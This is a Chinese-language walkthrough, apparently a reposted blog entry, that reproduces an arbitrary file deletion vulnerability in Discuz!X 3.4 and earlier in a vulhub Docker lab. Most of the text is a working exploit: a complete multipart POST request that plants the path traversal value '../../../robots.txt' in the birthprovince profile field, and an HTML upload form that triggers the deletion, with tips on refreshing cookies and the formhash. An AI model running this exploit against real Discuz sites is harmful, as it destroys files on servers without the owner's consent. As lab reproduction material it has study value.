标签:form Discuz WebKitFormBoundaryPFvXyxL45f34L12s Content 漏洞 3.4 复现 formhash ------
Discuz!X ≤3.4 任意文件删除漏洞
0x01.环境搭建
利用vulhub搭建漏洞环境
service docker start
docker-compose up -d
查看监听端口
docker-compose ps
安装时,只用修改数据库地址为db
,其他保持默认即可
0x02.漏洞介绍
影响版本:Discuz!X ≤3.4
0x03.漏洞复现
访问http://target_ip/robots.txt
可见robots.txt是存在的
注册用户后,在个人设置页面找到自己的formhash
带上自己的Cookie、formhash发送如下数据包
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: target_ip
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态
说明我们的脏数据已经进入数据库了。
然后,本地新建一个upload.html
,代码如下,将其中的[target_ip]
改成discuz的域名,[form-hash]
改成你的formhash
<body>
<form action="http://[target_ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束
再次访问http://your-ip/robots.txt
,发现文件成功被删除
0x04.一点坑
在图片上传那个阶段我上传时总是出现非法字符,已被拦截
的页面,后来我用burp抓了个包,更新了一下cookie再重发就好了
还有,formhash
是会变的,要及时更新
标签:form,Discuz,WebKitFormBoundaryPFvXyxL45f34L12s,Content,漏洞,3.4,复现,formhash,------ 来源: https://www.cnblogs.com/-Anguvia-/p/14623041.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。